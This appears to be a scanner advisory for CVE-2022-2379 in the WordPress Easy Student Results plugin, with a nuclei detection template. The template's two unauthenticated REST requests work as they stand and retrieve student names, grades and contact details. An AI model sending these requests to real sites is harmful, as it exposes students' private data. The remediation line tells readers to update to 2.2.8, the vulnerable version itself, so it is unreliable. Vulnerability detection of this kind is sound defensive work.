WordPress Easy Student Results <=2.2.8 - Improper Authorization

highseverity

7.5CVSS score

3.5%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

WordPress Easy Student Results plugin through 2.2.8 is susceptible to information disclosure. The plugin lacks authorization in its REST API, which can allow an attacker to retrieve sensitive information related to courses, exams, and departments, as well as student grades and information such as email address, physical address, and phone number.

Impact

An attacker can gain access to sensitive student information, potentially compromising their privacy and security.

Fix

Update to the latest version of the WordPress Easy Student Results plugin (2.2.8) to fix the improper authorization vulnerability.

How to confirm it

Send: GET /wp-json/rps_result/v1/route/student_fields ; GET /wp-json/rps_result/v1/route/search_student?department_id=1&batch_id=1
Positive when: contains in body_1 "\"departments\":" and "batches\":" AND contains in body_2 "meta_data" and "\"name\":\"" and "\"registration_no\":" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2022-2379 -u <target>

The full check

id: CVE-2022-2379

info:
  name: WordPress Easy Student Results <=2.2.8 - Improper Authorization
  author: theamanrawat
  severity: high
  description: |
    WordPress Easy Student Results plugin through 2.2.8 is susceptible to information disclosure. The plugin lacks authorization in its REST API, which can allow an attacker to retrieve sensitive information related to courses, exams, and departments, as well as student grades and information such as email address, physical address, and phone number.
  impact: |
    An attacker can gain access to sensitive student information, potentially compromising their privacy and security.
  remediation: |
    Update to the latest version of the WordPress Easy Student Results plugin (2.2.8) to fix the improper authorization vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0773ba24-212e-41d5-9ae0-1416ea2c9db6
    - https://wordpress.org/plugins/easy-student-results/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2379
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/soxoj/information-disclosure-writeups-and-pocs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-2379
    cwe-id: CWE-862
    epss-score: 0.03527
    epss-percentile: 0.89344
    cpe: cpe:2.3:a:easy_student_results_project:easy_student_results:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: easy_student_results_project
    product: easy_student_results
    framework: wordpress
  tags: cve,cve2022,wordpress,wp-plugin,wp,easy-student-results,disclosure,wpscan,easy_student_results_project,vuln

http:
  - raw:
      - |
        GET /wp-json/rps_result/v1/route/student_fields HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-json/rps_result/v1/route/search_student?department_id=1&batch_id=1 HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - '"departments":'
          - 'batches":'
        condition: and

      - type: word
        part: body_2
        words:
          - 'meta_data'
          - '"name":"'
          - '"registration_no":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

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